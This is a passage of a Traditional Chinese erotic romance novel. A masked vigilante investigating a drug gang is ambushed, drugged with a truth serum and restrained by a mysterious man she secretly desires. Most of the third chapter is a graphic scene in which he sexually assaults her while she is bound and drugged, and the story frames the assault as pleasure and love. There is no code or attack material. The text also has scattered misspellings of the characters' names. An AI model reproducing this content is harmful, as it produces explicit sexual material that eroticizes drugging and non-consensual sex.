    苦笑了下,闊雲咕深吸一口氣,甩了甩頭,將往事全拋在腦後。她仔細地研究所有資料,擬定出一套精密的行動方案。


    在時針終於指向出發的時刻,闕雲岫換上慣常穿著的黑色緊身裝束,悄然邁出大門。


    這個城市的夜晚向來紙醉金迷,但對闕雲岫而言,這卻是她最喜歡行動的時刻,因為她的頭腦在夜晚更清晰,而她的行動也可以在夜幕的掩蓋下更加靈巧詭秘!


    在夜幕的輔助下,加上精密的計畫,闕雲岫輕而易學地潛進「天盟」的開會地點,在無人發現的情況下,躲在角落觀察著天盟內部三個派系為了各自的利益而水火不容,頻頻爭論著貨物的存放地點及販賣時機,幾乎大打出手……


    由於今天的工作只在於探查,所以闕雲岫不動聲色地將一切記錄下來,暗自訝異著那名內奸在警界的高位階及高人氣。


    在判斷資料搜集的差不多之時,闕雲岫毫不留戀地離開了會場,悄悄走至距離會場有一段距離的山窪,拉開一張外表上看似落葉的大帆布,露出她的多功能重型機車──「雲岫號」。


    「靖山,」騎著「雲岫號」飛馳在車輛稀少的公路上,闕雲岫騰出一隻手按下機車駕駛面板上的通話鍵,「我現在把資料傳給你,你可以開始擬定你的『天崩』計畫了。」


    「好。」


    得到風靖山的回答後,闕雲岫立即將掌上計算機接上「雲岫號」的計算機,將資料傳送出去,但就在即將完成之際,她突然發現自己的身後不知何時竟出現了一輛黑色重型機車!


    眉頭一皺,闕雲岫用力轉動油門,讓「雲岫號」像箭一般衝出公路!


    但那輛黑色重型機車依然如影隨形,這個事實令闕雲岫的眉心愈皺愈緊!


    因為「雲岫號」的性能相當傑出,但她身後的騎士竟然能夠亦步亦趨地跟隨著她,顯而易見,除了車輛本身的性能之外,駕駛者的技術也不容小覷!


    是「天盟」,還是另有其人?


    甚至,會不會又是……


    帶著警戒又緊張的心情,闕雲岫與黑色機車奔馳了將近五條公路,她用盡辦法,卻依然無法擺脫身後的盯梢者,而對方似乎也有意作弄她,


    不時在她的四周胡奔亂竄。


    最後,黑色機車突然加速逼近「雲岫號」,用車頭強力撞擊著「雲岫號」的尾部,硬將她擠進了一條正在施工的道路上!


    闕雲岫心中一凜,才在暗叫不好,一張大網己由空中落下,將她連人帶車整個網住,同一時間,她下方的道路也往上升起!


    原來,她所在的地方根本不是道路,而是一輛大貨車的起落架!


    發現自己著了人家的道,闕雲岫立即取出「雲岫刀」將網子劃破,飛身而出,但她眼前突然出現一道極強的白光,一閃過後,她已看不到任何事物!


    勉力張大了眼眸,闕雲岫的眼前依然一片赤紅,不到一會兒,她就感覺自己的身子被人一把捉住,手臂上也傳來了一陣刺痛。


    腦中思緒緩緩地停滯下來,而她的眼眸,沉重得再也睜不開……


    幽幽地醒來,闕雲岫只覺得腦中一片混沌,她輕舔乾枯的嘴唇,低聲啼吟了起來。


    就在呻吟的同時,她的唇碰觸到一個杯沿,她暢快淋漓的仰頭喝了起來,待那冰冷的水流入咽喉後,她的意識才算是完全清醒了過來。


    「你是誰?」闕雲岫發現自己的眼前一片赤紅,四肢上也傳來被金屬鉗住的冰冷感覺,不禁心中一凜,但她還是鎮靜地問著,「你有什麼目的?」


    「你問得很好,」一個陌生的聲音由她身前響起,「這也正是我一直想知道的事。」


    「看樣子,我們誰也得不到答案。」闕雲岫冷哼了一聲,悄悄地挪動著四肢,想知道自己是否有逃脫的可能性。


    「那可不見得。」陌生的聲音笑了起來,而那笑聲不知為何讓闕雲岫有種似曾相識的感覺,「只要我需要,石頭都得為我開口說話。」


    「是嗎?」突然,闕雲岫冷冷地笑了起來,「那我倒想見識見識石頭說話的模樣。」


    「你比我想像的更加鎮靜,」陌生的聲音淡淡說著,「像你這樣的女子確實很少見。」


    說完這句話後,他突然拉開闕雲岫的頭罩,讓她及腰的髦發像瀑布一樣流洩而下。


    「真美……」靜默了三秒後,男人捉起闕雲岫的一綹長髮喃喃說著。


    「人美還是頭髮美?」闕雲岫嬌聲說道。


    她之所以一反常態地溫順,是因為發覺了把住她四肢的金屬無法憑她一人之力掙脫,若能令男人自動為她卸下,她才能夠找機會撂倒他,逃出這裡!


    「你常用美人計?」突然,男人的聲音在她身前響起,與她距離得那樣近,近到連他身上的溫度她都可以感受到。


    他身上的氣息令她聯想到一個人,一個不知為何在她夢中出現,卻又永遠無法看清長相的男人……


    會是他嗎?


    「你說呢?」聽不出男人的聲音中是否有變化,闕雲岫只能笑得更甜美,緩緩地輕擺腰肢,「放了我好嗎?我的手好疼。」


    「你常這樣誘惑男人?」男人退離闕雲岫三步,欣賞著那具包裹在黑色緊身衣下的婀娜嬌軀在自己眼前妖嬈地擺動。


    「你說呢……」闕雲岫的嗓音依然甜膩,心中卻有些焦急,因為這男人若再這樣平靜的跟她耗下去,想讓他主動放開她的機會就更渺茫了。


    「我必須誠實的說,你確實是個讓男人垂涎的女人,」男人輕輕地笑了起來,「只可惜我現在急於知道答案,無心戀眷你的美。告訴我,誰讓你來調查天盟的?」


    「對不起,無可奉告。」闕雲岫淡淡地說著。


    「好個無可奉告!」男人冷哼一聲,走到闕雲岫身前,手掌輕輕一揮。


    闕雲岫感覺到上半身突然一涼,知道自己的緊身衣已被他劃破,但她依然不動聲色,「你以為我會在乎這些嗎?」


    「你是不會在乎。」男人聲音低沉的說著,「因為看樣子你早已習慣在男人面前裸著身子。」


    「是的,」壓抑住心中的怒意及怯意,闕雲岫讓自己的聲音一如往常,「所以你要如何待我,我一點也不在意。」


    「是嗎?」男人沉吟了一會兒,突然淡淡的笑了起來,「這可是你說的。」


    就在他說完這句話後,闕雲岫突然覺得手臂傳來一陣微微的刺痛,她不由得皺起眉頭,不到兩秒鐘,整個人就再度昏厥了過去……


正文 第三章


    「你叫什麼名字?」


    再度醒來時,闕雲岫聽到男人低沉的嗓音。


    腦中完全混亂,眼前依然一片赤紅,但搖晃的車身讓闕雲岫明白,她應該是位於一輛貨車之中,只是,她判斷不出自己究竟昏厥了多長時間,而在這段時間之中,車子又駛向了何處。


    「你的名字。」望著闕雲岫緩緩顫動的睫毛,男人知道她醒了,因此又問一次。


    「闕雲岫。」她不想回答的,但不知為何,口唇竟然不聽從她的意志,緩緩吐出了這三個字,令她心中一凜,「你給我注射的是什麼……」


    「闕雲岫……」男人不理會她的問話,思索了半晌後突然又問:「是誰給你資料來探天盟的底?」


    「風靖山。」闕雲岫依然不想回答,但真實的答案也依然由她口中逸出,她全身湧上一股寒意,一個怪異的想法在腦中緩緩浮現。


    「警界神鷹風靖山?」男人眼一瞇,走近了闕雲岫,將雙手撐在她頭部兩側,低聲質問:「你跟他是什麼關係?」


    「師兄妹。」


    「只是如此?」男人的聲音更低沉了。


    「是的……只是如此……」恍恍惚惚之際,闕雲岫喃喃的問著,「你到底給我注射了什麼……」


    「放心,不會傷害你的。」男人俯在闕雲岫耳畔輕輕說著,「只不過是種能讓你在全身感官功能都不喪失的情況下,乖乖說實話的東西罷了……」


    由於失去了視覺,使得闕雲岫的感覺比平常更加靈敏,而男人那樣輕柔的語音、熟悉的語調,不知為何,竟讓她有種南宮燁在以聲音愛撫她的異樣感覺……


    一當這個念頭在心中興起,她的乳尖竟不由自立的挺立了。


    「你一直為他工作?」男人依然在闕雲岫的耳畔低語。


    男人的氣息,在他靠近時深深沁入了闕雲岫的鼻間,雖然他的聲音經過改變,雖然她的反應因為藥物的緣故而較往常遲緩,但她依然知道了,知道了這個男人確實是他──


    南宮燁。


    「不……」知道了他的身份,再明瞭自己現在上半身只著一件胸衣與他相對,闕雲岫的身子開始微微顫抖,「我為我自己工作,跟他無開……」


    「我不信!」望著闕雲岫露出在外的肌膚突然泛起紅潮,南宮燁眼中升起一股怒火,聲音卻依然平靜,「若是如此,為何你一想起他便情不自禁的抖顫?」


    他大手一揮,手中的小刀隨即輕輕劃過闕雲岫的胸前。


    霎時間,她的淡紫色胸罩由中間裂開,渾圓堅挺的雙乳隨著彈跳出來,形成一道優美的乳波!


    「不……」闕雲岫低聲驚呼。


    「有多少人見過你這模樣?」望著闕雲岫挺俏的胸房,以及上頭不知何時挺立的玫瑰花蕾,南宮燁的眼神一下子深邃了起來。


    「沒有……」闕雲岫低下頭去痛苦的說著。


    「真的?」明明知道現在的她只能說實話,但南宮燁依然加重語氣逼問著,因為先前她那副嬌美妖嬈的模樣,讓他不相信自己得到的答案。


    「真的……沒有……」闕雲岫不想這麼說,但她的唇依然吐出這四個字,然後在南宮燁的手指輕輕彈弄她的乳尖時,低吟了起來,「啊……」


    老天!這是什麼感覺?!


    闕雲岫極力隱忍著,卻無法壓抑住一聲聲的呻吟由口中流洩而出!


    因為當南宮燁略顯粗糙的手指拂過她的乳尖時,她的身子就像被電流竄過般一陣酥軟,若不是四肢被扣著,她恐怕連站都站不住!


    「有多人這樣做過?」輕捧著闕雲岫的雙乳,南宮燁開始用拇指逗弄著那兩顆早已昂揚的乳尖。


    他輕扯、捻動那兩顆小小的櫻桃,望著闕雲岫的臉愈來愈紅,呼吸愈來愈急促。


    「沒有……啊……」闕雲岫慌亂地搖著頭,任自己及腰的髦發鋪散在胸前,就算此刻看不見,她依然能夠感受到南宮燁的目光是如何灼熱地注視著她!


    但她卻沒有料到,當她引為遮蔽的長髮披散在胸前時,卻讓那若隱若現的雪白雙峰與玫瑰色乳尖更顯誘人。


    「夜影女俠不該這樣慌亂的,人們不都說你冷漠如冰嗎?告訴我,當我這樣逗弄你時,你是什麼感覺?」說著這句話時,南宮燁的唇也來到了那早己為他綻放的花蕾。


    他輕輕含住她的乳尖後又慢慢吐出,如此來回數次之後,看著她的乳尖沾染著他的唾液,在昏黃的燈光下像一顆粉紅色的閃亮珍珠……


    「啊……不……」闕雲岫只能拚命地扭擺著身軀,因為這種從未有過的激情狂潮,已經席捲她的所有感官!


    她想躲卻躲不開,只能任由南宮燁溫軟濕熱的唇瓣,一次次侵犯她從未被人如此對待的柔嫩身軀。


    「什麼感覺?」南宮嘩繼續問著。


    「好酥、好麻……啊……」闕雲岫又羞又急的低喃。


    突然間,她原來被平舉扣住的雙手竟隨著機器的移動而被單至頭部,而她原本緊緊夾住的雙腿,也因鐵扣的移動綬緩被分開。


    就在闕雲岫的心中一陣顫動時,她下半身的衣物也在一陣細聲之後碎成片片,只剩下一條淡紫色的絲質底褲!


    「不……不……」闕雲岫不敢置信地驚呼,盡力想夾緊雙腿,但她怎麼也辦不到,只能任由一陣冷空氣侵襲自己火熱的下半身。


    「告訴我,你現在心裡想什麼?」望著眼前絕美的風景,南宮燁的下半身突然緊繃了起來。


    他的手,不自主地緩緩撫上她的纖腰,任手掌感受著她滑膩細柔的肌膚所帶來的暢快與誘惑。


    「我……怕……」闕雲岫知道不該在這個男人面前示弱,但現在的她早管不住自己的唇,只能任心中最真實的話語脫口而出。


    「怕什麼?」南宮燁輕吻住她的頸項,嗅著她身上獨特的芳香,一隻手繼續捻弄她早已敏感至極的乳尖,另一手則來回撫弄她抖顫的大腿。


    「我怕你……」緊咬住下唇,闕雲岫的聲音低不可聞。


    「你剛剛不是無所謂嗎?不是還對我使用美人計,說你不在乎男人如何對待你?那你現在怕什麼?」南宮燁將唇附到她的耳畔輕輕問道,手則像發熱體一樣,在她身上引起了一陣又一陣的熱潮。


    「你……」發現南宮燁的手愈來愈放肆,闕雲岫不斷地搖擺著纖腰想逃避,而當他的手緊握住她的俏臀往前一按,讓她往他的身上貼去時,她終於忍不住的啼呼了起來,「不……」


    「是不是怕我強佔了你?」南宮燁讓她的下半身隔著褲子緊緊貼住他的堅挺,看著她在發現他的慾望時,俏臉又羞又怕的染上了一層紅雲。


    「是……」闕雲岫的腦子已經快炸開了。


    「為什麼怕我強佔你?你不是閱人無數了嗎?」南宮燁癡迷的望著臉上盈滿羞赧的闕雲岫,從來沒有一個女人會讓他如此心動,讓他的慾望來得如此兇猛。


    手,不自覺地撫上闕雲岫底褲的中心,南宮燁訝異的發現,她的底褲竟有些濕了!


    很難形容他現在的感覺,南宮燁知道自己的調情技巧一向不錯,女人會為他迷醉是很自然的,但她,為什麼在還不知道他是誰的情況下,便會如此動情?!


    「不……啊……沒有……從沒有人……這樣……對我……」發現南宮燁的手已來到她最私密的部位,闕雲岫嬌喘微微,語音破碎。


    「你的意思是說,你還是個處女?冷若冰霜、身手高妙的夜影女俠竟還沒有得過男人的潤澤?」一股不知名的怒氣由南宮燁心中升起,他隔著底褲精準地掐住她的花核,右手則用力搓揉著她的乳尖,「想不到你竟如此放蕩,隨便一個男人挑弄你,便可以讓你如此投入,連底褲都濕了!」


    「啊……」胸前與身下的雙重刺激,讓闕雲岫痛苦地低叫了起來,「是,我是處女,但我不──


    「你是否曾幻想,或在夢中期待,有這麼一天,有男人如此逗弄你?」不讓闕雲岫的話說完,南宮燁狠狠的將食指插入她緊窒的花道!


    「唔……」當柔嫩的花徑被他那樣無情的侵入,闕雲岫感覺到下身傳來一陣劇痛,她只能又痛又狂亂地搖著頭,再說不出任何話語。


    「說!有沒有?」雖然闕雲岫未經人事的花道已沾滿了蜜汁,雖然南宮燁知道自己這種舉動會讓她疼痛,但他不在乎。


    對這種隨便一個男人都能逗得她嬌啼連連的女人,縱使她是處女,他也不會疼惜她!


    「有……」再也忍不住的狂呼出聲,闕雲岫感覺到下體像被撕裂般疼痛,南宮燁不斷侵襲她幼嫩花道的手指,讓她難受至極!


    「是誰?當時在你腦海中的男人是誰?」


    「啊……」在南宮燁的第二根手指侵入她狹小的花徑時,闕雲岫只能不斷的尖叫著,一直隱忍的淚水也順著她的臉頰滑下。


    「到底是誰?」南宮燁急迫地想知道那個深藏在闕雲岫心中,讓她寧可忍受這種破身痛苦依然不肯吐露的男人究竟是誰!


    「蒼狼……」在第三根手指即將侵入時,闕雲岫終於崩潰了,她顫抖著雙肩低聲哭泣,「蒼狼……」


    「蒼狼是誰?」望著闕雲岫脆弱的模樣,南宮燁終於將手撤離了她的花徑,冷冷地問著,「為什麼你連在夢中都幻想著要由他來破你的身?」


    「不要問我了!」再也承受不住那股被羞辱的痛苦,闕雲岫痛哭失聲的喊著,「我真的不知道!」


    「你若真不知道,怎會想像著是由他來佔有你?」


    望著明明受到藥物控制必須說實話的闕雲岫,竟還那樣維護著她心中的男人,南宮燁更是怒不可遏!


    他一把撕開了闕雲岫的底褲,任機器將她的雙腿撐得更開,任她身底下所有的秘密都暴露在冷冷的空氣中。


    「我不知道……他的長相……」感覺到一個火熱的堅挺不斷在自己的蜜源上徘徊,闕雲岫無助的低聲抽泣。


    她不能讓他知道!


    她絕不能讓他知道她心中的秘密!


    她寧可死也不要讓這個男人看輕她、笑話她,所以她不要再讓自己心中的話脫口而出!


    「你怎麼可能不知道他的長相?」將自己緊繃的堅挺在闕雲岫濕透的花辦中來回游移,南宮燁打算一等她說出答案,就猛烈地貫穿她!


    「因為……」闕雲岫低聲說著,突然用力一咬!


    但南宮燁早就看穿了她的企圖,他緊緊扣住她的下顎,不讓她有咬舌的機會,「說,為什麼你不知道他的長相?」


    「因為……我只聽過他的聲音……」闕雲岫絕望地任淚水在臉上奔流,心中的話再無保留地由口中吐出,「因為……我從未見過他的真面目……」


    「只聽過他的聲音就……」南宮燁冷冷地笑著,突然,他全身一僵,緩緩地鬆開她的下顎,不僅表情變了,連語音也溫柔了起來,「小野貓,沒想到你冷漠的外表下竟是如此的熱情,告訴我,這男人究竟是誰?」


    「求求你別問了……」闕雲岫將頭倚在他的肩上,低聲啜泣。


    「你愈是如此,我愈想知道……」南宮嘩輕吻著她的面頰,「我早叫你別蹚這淌渾水了……告訴我,是誰?」


    「是……你……」終於,這兩個宇由闕雲岫的口中吐出,霎時間,週遭一片寂靜,只有她絕望的低泣聲及他輕淺的呼吸聲。


    他知道了!知道了一切……


    「你……」雖然早有預感,但南宮燁的心中依然興起一陣狂喜!


    因為他怎麼也想不到,深藏在名聞天下的「夜影女俠」心中,讓她願意將自己交付出去的男人,竟然是自己!


    「為什麼叫我蒼狼?」許久後,南宮燁望著闕雲岫含羞帶淚的臉龐,嘴唇滑過她的唇瓣,「又為什麼認出是我?」


    「你的味道,和你的嗓音……」發覺南宮燁竟沒有嘲笑她,闕雲岫的心中有股忐忑,但在下一刻,當他將唇印在她的唇上時,她所有的思緒與焦慮全被抽空了!


    因為他的吻竟那樣放肆而霸道!


    南宮燁緊緊攫住她的紅唇,一回又一回的輕舔、啃噬著她的唇瓣,而當發現她不停地閃躲時,他的眼中透出一股濃濃的征服欲,嘴角揚起一陣輕笑。


    他的手指再度拂過她的乳尖,讓闕雲岫發出低呼,就在此時,他的舌頭迅速探入她的口中,攫住她的香舌不放,開始翻騰、吸吮……


    「唔……」


    隨著南宮燁的舌愈加深入,闕雲岫已經沒有退路了,她只能任他肆無忌憚的挑逗著她的唇舌,任那陣火花在她的四肢百骸中延燒!


    像是永遠不滿足似的,南宮燁在發現闕雲岫星目半閉、嬌喘微微時放開了她的唇,移向她的耳垂、鎖骨,然後一口含住她的乳尖!


    「啊……」


    而他的手更是邪惡,竟一路沿著她細嫩的肌膚滑下,來到她無法合攏的雙腿間,輕捻慢揉著她的花瓣,就著她再度溢出的蜜汁,在花縫之處悠遊滑動。


    「不……」在南宮燁的逗弄下,闕雲岫全身戰慄,下腹不知為何升起了一陣狂潮,蜜源處更是有著一絲疼痛!


    這疼痛,並非因為他逗弄的力量過大,而是她體內因空虛、渴望而升起的疼痛……


    「不,你要的!」發現闕雲岫已經動情了,南宮燁低聲說著,「誠實的告訴我你的感覺。」


    「我……」闕雲岫難耐身下疼痛,輕輕啜泣了起來,「我……好脹……又脹又疼……」


    「哪裡好脹?這裡嗎?」南宮燁比闕雲岫更明白她的身體,輕輕對著她的乳尖呵氣,「現在呢?」


    「又酥……又麻……」在南宮燁的挑逗之下,闕雲岫只能難耐地輕擺著腰肢,淚水再度滑出眼眶,「不要這樣……求你……我受不住的……」


    「你可以的……」南宮燁喃喃說著,騰出一隻手按了個按鈕。


    霎時間,原本扣住闕雲岫四肢的金屬脫落了,她一下子跌至南宮燁的懷中,全身虛軟無力。


    「抱著我的脖子,」將闕雲岫抱至沙發上坐下,南宮燁輕輕命令著,「雙腳夾住我的腰!」


    知道自己應該逃的,知道自己應該利用這個機會擊昏他的,但闕雲岫根本沒來得及行動,南宮燁就像是看穿了她的念頭般,將一隻手指滑入了她的花徑中。


    「啊……」那種被人侵入的羞赧及細碎疼痛,還有一股莫名的充實感,讓闕雲岫一仰頭,任自己的長髮飛散在身後,雙手不由自主地抱緊了南宮燁的頸項,雙腿緊緊夾住他的腰際。


    「我的天,你真緊……」感受著自己的手指被那柔嫩花徑緊緊夾住的暢快感,南宮燁輕歎了口氣,「我的手在你的體內,小野貓,感覺舒服嗎?」


    「我……你……」正當闕雲岫被他輕佻的話逗得羞赧不已時,南宮燁的手指突然開始在她體內緩緩地抽送了起來,「啊……不要……」


    「你的嬌啼實在太讓人銷魂了……」聽著闕雲岫不同往常的冷漠,發出一聲又一聲甜蜜的媚啼,南宮燁的聲音也有些瘖啞了,「說,想要嗎?」


    「不要……再……」隨著南宮燁手指的律動愈來愈快,闕雲岫感受到體內有一股愈升愈高的怪異壓力,那感覺令她瘋狂的搖著頭,「你……」


    「叫我燁!」南宮燁望著身前近乎全裸的女人,望著她絕美臉蛋上又羞澀、又嬌媚、又情狂的模樣,心中不覺升起一股柔情,手指的律動也更快速了。


    「燁……啊……」就在那股陌生的壓力漸漸升到頂點時,闕雲岫倏地抓緊了南宮燁的頸項,害怕地嬌啼著,「那是什麼……那是什麼……」


    「小野貓,那叫幸福……」輕吻著闕雲岫整個泛紅的乳尖,南宮燁將手指用力一頂,「只有我才能帶給你的幸福……」


    「啊呀……」世界,在闕雲岫的體內整個爆炸了,一股強烈的歡愉快感在她的體內四處飛奔,讓她只能憑著最基本的感官知覺不斷地尖叫、


    嬌啼,「燁……燁……我……啊……」


    「我在……」南宮燁低聲響應著,準備將自己的堅挺項入她的體內。


    突然,電話響起。


    他皺起眉,用一隻手接起電話,另一隻手則繼續掏弄著她幽閉的花徑,望著她雖不斷搖擺嬌軀,卻緊咬下唇,不讓任何一句淫媚嬌吟流洩出口中!


    心不在焉地接聽著電話,南宮燁看著闕雲岫在他一回又一回的侵擾之下,美目再度充滿淚水,並露出一種不可置信的神情,而後身子整個僵住,雙眼緊閉、紅唇微啟,香汗淋漓地癱倒在他的身上。


    闕雲岫體內一陣又一陣的緊縮及痙攣讓南宮燁知道,現在他懷中的女人,已經瞭解到身為女人所能享受到的快樂與幸福。


    但南宮燁依然不放過她!


    他的手指再度指住闕雲岫的花珠,柔柔地、像蜻蜓點水般輕拂著那顆早已紅腫敏感的粉紅珍珠,望著她的蜜源又流出汨汨的蜜汁,整個浸濕了他的手心……


    望著闕雲岫緊咬下唇,不讓自己啼聲逸出的模樣,南宮燁瞇著眼輕笑,突然手指一伸,再度侵入她仍帶著渴望的花道!


    他怎麼……


    闕雲岫幾乎是將身子坐在他的掌中,雖然望不見他的神情,但她知道他一直在看著她,所以她不願讓他得意,讓他笑話她!


    但從未受過男人如此對待的她,又怎能與他抗衡呢?


    她的身子早被南宮燁撩撥得無比敏感,她的熱情也被他完全地點燃,因此,她只能任由體內那股壓力不斷攀升、攀升,然後在即將爆炸的前一刻,突然化為烏有!


    因為,他竟將手指抽離了她!


    淚水,一滴滴的滑下臉頰,闕雲岫只能任體內未獲得滿足的渴望折磨著她,她用雙臂環抱住自己,不住的發著抖……


    闕雲岫那楚楚可憐的模樣,讓南宮燁恨不得丟下電話直接貫穿她,但他不行,所以他只能用手指代替他,又一次的快速律動著!


    「呀啊……」那種失而復得的快感,終於讓闕雲岫再也顧不得其它,任由一聲聲嬌啼逸出口中,「不……要……啊……燁……」


    聽著那一聲接著一聲,又甜、又膩、又滿足、又性感的嬌啼,南宮燁滿足的輕笑了起來。


    「怎麼了?」電話那頭的人似乎也發現了他的心不在焉。


    「沒事。」南宮燁輕輕擁著因初次歡愛便經歷太多回快感而昏厥過去的闕雲岫,淡淡地朝話筒說著,「我知道了。」


    掛了電話,南宮燁抱起闕雲岫,輕嗅著她身上那股歡愛過後的女人香,為她覆上了一件衣物,緩緩走出門,來到自己的車前。


    「就算你是所有人眼中冷傲的夜影女俠,但在我身前,你只能是任我予取予求的女人……」南宮燁的手指輕輕畫過闕雲岫春潮未褪的紅頰,「小野貓,今天就先饒了你,剩下的,有機會我一定會加倍找你要回來……」


正文 第四章


    她怎麼會在自己的床上?


    當闕雲岫幽幽醒轉時,她望著四周熟悉的景物及自己身上的睡衣,有半分鐘的茫然。


    看了看天色,竟己近黃昏,而這個事實,更讓她訝異了。


    她不是去調查天盟的事嗎?什麼時候回家的,又為什麼全身那樣的酸疼,下半身的隱密之處還有一絲絲的疼痛?


    心中一凜,闕雲岫立即翻身望向穿衣鏡,她看見自己頸項上的紅印,身子微微地顫抖了起來。


    倒抽了一口氣,闕雲岫閉緊雙眸,許久許久之後,牙一咬,顫抖著手解開了睡衣上的鈕扣,望著自己在睡衣下一絲不掛,渾圓的雙乳上滿是紅印!


    那種紅印,就像是有人將她全身來回吻遍,激情地烙印上去……


    杏眼圓睜,闕雲岫不可置信的望著鏡子,眼前慢慢地蒙上一片黑霧。


    難道……有人……就在她昨晚行動結束之後、在她失去意識的那一段時間之中,奪去她清白的身子了?!


    緊緊環抱住自己,闕雲岫無助地發抖,臉色一片蒼白。


    她努力地回想著昨晚發生的一切,努力地回想著自己被擒入那輛貨車後的事,但無論她如何回想,就是想不起那之後究竟發生了什麼事……


    是誰?!


    到底是誰識破了她昨晚的行蹤,不僅設下圈套逮住了她、侮辱了她,還故意將她送回家中,以示他的神通廣大?


    不會是「天盟」,若是他們做的,她早已死無葬身之地了,哪有可能平安地躺在自己床上?


    如果不是「天盟」,還會有誰……


    就在闕雲岫心痛又心傷的思索之時,她突然聞到在自己的手臂上有一股淡淡的氣味,像極了「他」身上的味道……


    難道真的是他──南宮燁?!


    他怎麼可以……怎麼可以……


    與他交手了那樣多回,他雖老是警告她別插手管閒事,也老是一副吊兒郎當的佔她便宜,可卻從未真的傷害過她,甚至還救過她,但這回……


    他為什麼要這麼做?!


    而她,明明知道他不是個好人,該小心他、注意他,卻又為什麼不對他多加防範?甚至在那偶爾相遇的時刻裡,心中還會產生莫名的悸動……


    究竟為什麼,他要這樣傷害她?


    淚,緩緩地由眼眶中流出,闕雲岫整個人都崩潰了,只能抱著自己、咬著下唇,失聲痛哭。


    心是那樣的痛,痛得幾乎都要碎了!


    從小到大,她從未受過這樣的凌辱,甚至從未與任何男子有過親密的接觸,可如今,她卻不明不白的被一個連真實面目都未曾見過的男子,奪去了她的身子……


    是的,或許她一直是堅強的,但她卻未堅強到在遭受這種凌辱之後,依然能無動於衷,她究竟是個女人啊……


    她不能原諒他,絕對不能原諒他!


    就在闕雲岫的下唇幾乎被她自己咬破之際,她的私人通訊設備響了起來,風靖山的聲音隨即傳來。


    「岫兒,你在嗎?」


    聽見他帶著關懷的熟悉嗓音,闕雲岫的淚水再度流了下來。


    「岫兒?」


    來回深呼吸幾次之後,闕雲岫才按下了通訊鍵。「靖山……」


    「你怎麼了?聲音聽起來怪怪的?」風靖山關心地問著。


    「沒事,」闕雲岫低聲回答,「剛起床,鼻子有點過敏……」


    「沒事就好,」風靖山知道這妹子一向有過敏的心毛病,因此也沒多想,「由你昨天搜集來的資料,再加上我們本身的線報,我們推斷出天盟在亞洲受阻後,必定會將觸角伸至他國,現在也確定了他們即將到美國去開毒品交易會。我打算今天便出發去美國,你去嗎?」


    「我……」聽著風靖山的話,闕雲岫心中有些猶豫。


    因為她實在不知道自己在這種惡劣的心情下,是否還有足夠的理智去處理那麼棘手的工作……


    「怎麼了?我們的夜影女俠罷工了?那擁戴你的市民豈不是要痛哭流涕了?」聽出闕雲岫聲音中的低落,風靖山先是開了個玩笑,然後又認真地問:「岫兒,我看你有些不對勁,究竟怎麼了?」


    「什麼事都沒有,」心中一凜,闕雲岫連忙回答,「我去,你打算什麼時候走?」


    「一個半小時以後我在機場等你。」


    「好。」


    掛了電話,闕雲岫心中是那樣的矛盾及複雜,因為她知道這一去,再度遇上南宮燁的機會是那樣的高!


    可一來她不能讓這個案子半途而廢,二來……她也絕不能讓自己平白無故的受辱,她一定要讓他得到應得的懲罰!


    但她做得到嗎?真的做得到嗎……


    在美國馬不停蹄地調查,最終,闕雲岫與風靖山得知「天盟」將於三天後在曼哈頓舉行一個舞會,屆時,所有的毒品交易都將在舞會中進行。


    但這只是「天盟」第一次嘗試性的活動,若有任何閃失,他們將立即停止所有毒品交易!


    因此,闕雲岫與風靖山弄到了兩張邀請函,並且提早住進舉辦舞會的飯店之中。


    他們決定在舞會當天先混進會場搜集資料,然後在「天盟」嘗到甜頭,放心大膽地真正開始大規模的交易行動時,再與國際警察連手將「天


    盟」一網打盡!


    傻傻地坐在房內,闕雲岫的眼眸盯視著梳妝鏡,搞不清自己究竟在想些什麼。


    這陣子,她明白自己一直心神不寧,甚至連風靖山都看出了她的不對勁,只是沒有說破罷了。


    為什麼這樣的不平靜?


    發生的都已發生了,她再也做不了任何的改變,既然如此,她還想那麼多做什麼?


    唯今之計,她只能先將那些雜事丟至一旁,完成眼前的工作,然後等她再度尋得「他」的蹤跡時,做她該做的事!


    輕歎了一口氣,闕雲岫望了望表,知道與風靖山會合的時間快到了,她緩緩地站起身來,閉上眼平靜了一下心神,然後拉開房門,走向這間套房的客廳。


    「這身裝扮是為誰?竟花去這麼長的時間?」突然,一個聲音在她身前不遠處響起。


    只見一個男人坐在背對著房門的椅子上,他似乎已在那裡坐了許久,而闕雲岫竟然完全沒有發現他是何時到來!


    「你……」闕雲岫低呼了一聲,不敢相信他竟會出現在這裡。


    是的,這個聲音的主人便是南宮燁,那個邪氣十足,那個……那個奪去了她清白的男人!


    心中的感覺是那樣的複雜,闕雲岫整個腦子都亂了,就算她是人們口中冷靜沉穩的「夜影女俠」,在面對著這個曾傷害過她的男人,也幾乎透不過氣來!


    要冷靜、要冷靜!


    不斷地在心中告訴著自己,闕雲岫深呼吸了幾次,緩緩地將鋼筆槍握在手中,等待著最終的那一刻,將子彈射入他心臟!


    「怎麼不說話了?又分心發呆了?」南宮燁發出一句慵懶的笑語,將椅子緩緩地轉了過來。


    望著那個逐漸轉向自己的身影,闕雲岫的心跳加速,手心也幾乎都被汗濕。


    但她加速的心跳,卻在看到他的臉孔時,剎那間停滯了。


    因為,此刻出現她面前的,是一張平凡到不能再平凡的臉孔,一個走在路上興人擦肩而過,也會讓人轉瞬即忘的男人。


    他,依然是易容的!


    闕雲岫明白他是不想讓人認出他來,但不知為何,此刻的她,心中居然有些酸澀。


    因為就算他那樣無禮、霸道地奪走了她的清白,他卻依然……不想讓她看清他原來的模樣……


    咬緊牙關,闕雲岫以長裙為掩護,無聲無息地舉起了手上的鋼筆槍,但南宮燁卻先她一步將袖扣彈出,擊中了她持槍的皓腕!


    手腕一麻,闕雲岫手中的槍落到地毯之上……


    望著躺在地毯上的槍,闕雲岫的唇角不住的顫抖著。


    她太天真了,真的太天真了!


    竟天真的以為自己能與這名男子抗衡,天真的以為自己起碼能有一些反抗的能力,天真的以為……


    但她錯了,錯的離譜。


    「這麼想殺我?」望著闕雲岫低垂的眼眸裡雖然努力掩飾卻仍流露出的痛苦,南宮燁站起身輕笑說道,「還是因為我長得不是你想像中的模樣,所以失望了?」


    「我是想殺了你,只可惜此刻的我做不到!」終於抬起了眼,闕雲岫咬牙說著,憤恨地瞪視著眼前玩世不恭的男子,「但總有一天,我一定會做到!」


    「我相信,不過在那之前,我必須告訴你一句話,」南官燁吊兒郎當的說著,「立刻回去,別留在這兒了。」


    「不可能!」闕雲岫不願自己再像個失敗者一樣的軟弱,她悄悄地深吸了一口氣,讓自己的聲音冰冷異常,「我絕不會走的!」


